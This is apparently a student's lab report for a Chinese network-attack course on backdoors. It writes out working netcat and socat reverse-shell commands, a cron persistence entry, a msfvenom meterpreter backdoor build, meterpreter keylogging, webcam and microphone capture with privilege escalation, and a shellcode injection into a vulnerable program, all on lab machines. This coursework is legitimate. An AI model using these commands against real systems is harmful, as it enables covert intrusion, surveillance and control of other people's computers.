• 2019-2020-2 20175310奚晨妍《网络对抗技术》Exp2 后门原理与实践


    1 基础知识

    1.1 后门概念

    • 后门:不经过正常认证流程而访问系统的通道。
    • 包括以下几种:
      • 编译器后门;
      • 操作系统后门;
      • 应用程序后门(最常见);
      • 潜伏于操作系统中或伪装为特定应用的专用后门程序。

    1.2 常用后门工具

    1.2.1 netcat

    netcat,又名nc,ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    • Linux:自带netcat,输入man nc查看其使用说明。
    • Windows:课程主页附件中下载ncat.rar解压即可使用。
    1.2.1.1 Win获得Linux Shell

    Step1:输入ipconfig查看到win端的IP地址为192.168.3.13

    Step2:在ncat.exe文件目录下输入ncat.exe -l -p 5310打开windows 监听

    Step3:Linux反弹连接windows:nc 192.168.3.13 5310 -e /bin/sh

    Step4:windows下获得一个linux shell,可运行任何指令,如ls,pwd

    1.2.1.2 Linux获得Win Shell

    Step1:输入ifconfig查看到Linux端的IP地址为192.168.187.132

    Step2:输入nc -l -p 5310在Linux运行监听

    Step3:在ncat.exe文件目录下输入ncat.exe -e cmd.exe 192.168.187.132 5310,使Windows反弹连接Linux

    Step4:Linux下看到Windows的命令提示,可运行指令,如dir,ipconfig

    1.2.2 Meterpreter

    1.2.2.1 典型的能生成后门程序的平台
    1.2.2.2 Meterpreter常用功能
    • help
    • 获取Windows命令行界面,以方便执行Windows内置功能指令
    • 获取ruby交互界面
    • 进程和迁移,把meterpreter HOOK到其他进程上
    • ......

    2 实践步骤

    2.1 使用netcat获取主机操作Shell,cron启动

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

    Step1:crontab指令增加一条定时任务,"-e"表示编辑。

    xicyannn5310@kali20175310:~/桌面/20175310奚晨妍/exp2$ crontab -e

    Step2:选择编辑器并添加代码

    因为是第一次编辑,故提示选择编辑器,我选择了2,并添加了下面这行代码,表示在每个小时的第20分钟执行后面的那条指令。

    20 * * * * /bin/netcat 192.168.3.13 5310 -e /bin/sh

    Step3:保存、退出后配置即生效。

    可以通过"crontab -l"来查看,"-l"表示list。下图为第20分钟执行代码后的结果:

    2.2 使用socat获取主机操作Shell, 任务计划启动

    socat,Netcat++,超级netcat工具。

    Step1:右击计算机—>点击管理—>点击任务计划程序—>点击创建任务

    Step2:设置任务名,新建触发器

    Step3:新建操作

    程序或脚本中选择socat.exe文件的路径,添加参数中填写tcp-listen:5310 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5310,同时把cmd.exe的stderr重定向到stdout上:

    Step4:此时可以看到任务的状态为准备就绪

    Step5:当时间到15:45时,此时可以看到任务的状态为正在运行,同时会弹出一个cmd窗口。

    Step6:在kali中输入指令socat - tcp:192.168.3.13:5310

    此时可以发现已经成功获得了一个shell,下图为输入ipconfigcd ..的结果

    2.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    Step1:生成20175310_backdoor.exe文件

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 -f exe > 20175310_backdoor.exe
    

    参数说明:

    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。如上即使用该编码器编码5次。
    -b badchar是payload中需要去除的字符。
    LHOST 是反弹回连的IP
    LPORT 是回连的端口
    -f 生成文件的类型
    > 输出到哪个文件
    

    Step2:在Windows下执行ncat.exe -l 5310 > 20175310_backdoor.exe,使被控主机进入接收文件模式

    Step3:在kali中执行nc 192.168.3.13 5310 < 20175310_backdoor.exe

    从下图可以看到文件已经传输成功了

    Step4:MSF打开监听进程

    输入msfconsole后进行如下操作:

    • use exploit/multi/handler,设置payload
    • set payload windows/meterpreter/reverse_tcp
    • set LHOST 192.168.187.132,设置ip
    • set LPORT 5310,设置端口
    • show options,查看选项
    • exploit,可以看到已经获取到了Windows的shell,可以输入dir来验证

    2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 音频:输入record_mic

    • 摄像头:输入webcam_snap

    • 击键记录:输入keyscan_start开始记录,输入keyscan_dump读取击键的记录
    • 提权:输入getuid查看当前用户,再输入getsystem进行提权

    2.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    这一部分的操作参考了使用MSF生成shellcode这篇博客

    Step1:下载文件

    官网上下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)这个文件

    Step2:注入Shellcode(参考实验一步骤三的过程)

    • 在第一个终端里关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
    • 在第一个终端中运行pwn1之后不回车
    • 在第二个终端中输入ps -ef | grep pwn1查看pwn1的进程号为4914
    • 用GDB追踪该进程,找到栈顶(esp)中存放的地址为0xffffd6ac,计算出shellcode地址就是 0xffffd6ac+4,即0xffffd6b0
    • 在第一个终端中中断pwn1运行
    • 在第二个终端中注入input_shellcode:

    perl -e 'print "A" x 32;print"xb0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode

    Step3:在第一个终端中打开msf控制台,依次输入:

    • use exploit/multi/handler,设置payload
    • set payload linux/x86/shell_reverse_tcp
    • set LHOST 127.0.0.1,设置ip
    • set LPORT 4444,设置端口
    • show options,查看选项
    • exploit ,设置完成,开始监听

    Step4:运行shellcode

    在第二个终端输入(cat input_shellcode;cat) | ./pwn1运行pwn1文件,在第一个终端中可以看到已经成功调取了shell

    3 问题回答

    3.1 基础问题回答

    3.1.1例举你能想到的一个后门进入到你系统中的可能方式?

    点击钓鱼网站的链接之后,可能会有可执行文件下载到电脑中;在非官方网站下载应用时,可能会不小心下很多不是自己想要的软件,其中可能会包含后门程序。

    3.1.2 例举你知道的后门如何启动起来(win及linux)的方式?

    满足某些条件后自启动(开机自启动,按时启动,点击某个文件时启动等);在cmd或终端中用指令运行;代码注入。

    3.1.3 Meterpreter有哪些给你映像深刻的功能?

    可以获取目标机的shell功能,本次实验还实现了获取目标主机音频、摄像头、击键记录并提权的功能。

    3.1.4 如何发现自己有系统有没有被安装后门?

    使用杀毒软件进行查杀;查看任务管理器中有没有异常的进程。

    3.2 实验总结与体会

    这次实验做的时间比较长,遇到了很多问题,好多问题在学长学姐的博客里找不到一样的问题,只能自己百度,花了很长的时间研究。特别是我在下面提到的第二个问题,看似很简单,只是数字错了,但是排查起来非常复杂,而且这种问题去百度也找不到答案,只能自己一遍遍检查、比较,重头再做一遍。所以以后做实验还是得细心一点,不然一个小问题可能要耗费一两个小时去解决。做完实验之后,我对后门程序的注入、启动等方面的知识都有了进一步的理解,也明白了及时查杀后门程序的重要性,否则别人通过后门操控你的电脑的时候你都可能浑然不知!

    4 实验中遇到的问题

    4.1 Linux中输入ifconfig显示未找到命令

    xicyannn5310@kali20175310:~$ ifconfig
    bash: ifconfig:未找到命令
    

    解决方法:

    • 查看ifconfig所在位置
    xicyannn5310@kali20175310:~$ whereis ifconfig
    ifconfig: /usr/sbin/ifconfig /usr/share/man/man8/ifconfig.8.gz
    
    • 查看环境变量
    xicyannn5310@kali20175310:~$ echo $PATH
    /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
    
    • /sbin加入到系统环境变量
    xicyannn5310@kali20175310:~$ export PATH=$PATH:/sbin
    
    • 输入ipconfig查看结果
    xicyannn5310@kali20175310:~$ ifconfig
    
    eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.187.132  netmask 255.255.255.0  broadcast 192.168.187.255
            inet6 fe80::20c:29ff:fe99:fa27  prefixlen 64  scopeid 0x20<link>
            ether 00:0c:29:99:fa:27  txqueuelen 1000  (Ethernet)
            RX packets 5  bytes 775 (775.0 B)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 27  bytes 2321 (2.2 KiB)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    
    lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
            inet 127.0.0.1  netmask 255.0.0.0
            inet6 ::1  prefixlen 128  scopeid 0x10<host>
            loop  txqueuelen 1000  (Local Loopback)
            RX packets 8  bytes 396 (396.0 B)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 8  bytes 396 (396.0 B)
            TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    

    4.2 在Windows里已经运行了后门文件,但是在kali中收不到连接

    解决方法:经过仔细排查,我发现生成20175310_backdoor.exe文件时输入下面这条口令,用的端口号是443而不是5310,所以前后不一致,导致一直不能连接成功。只需将443改为5310,保证前后一直就可以成功了!

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=443 -f exe > 20175310_backdoor.exe
    

    4.3 切换到管理员模式时显示su: 鉴定故障

    xicyannn5310@kali20175310:~/桌面/20175310奚晨妍/exp2$ su
    密码:
    su: 鉴定故障

    解决方法:输入命令sudo su root就可以了

    5 参考资料

    0x21_MAL_后门原理与实践.md

    linux一直提示命令无法找到command not found

    2019-2020-2 20175215丁文韬《网络对抗技术》Exp2 后门原理与实践

    使用MSF生成shellcode

    su:鉴定故障

  • 相关阅读:
    迁移服务器遇到django-crontab不执行定时任务问题
    纯CSS3+DIV实现小三角形边框
    mysql密码错误-ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using passwor:yes)
    收货地址下边的平行四边形彩色线条
    小程序导航栏全屏navigationStyle自定义导航栏,小程序轮播图导航栏
    移动宽带下Github网页上不去的解决办法
    线段比例式或等积式的证明思路
    两角不等的证明思路
    线段不等的证明思路
    两角相等的证明思路
  • 原文地址:https://www.cnblogs.com/xicyannn/p/12457698.html
Copyright © 2020-2023  润新知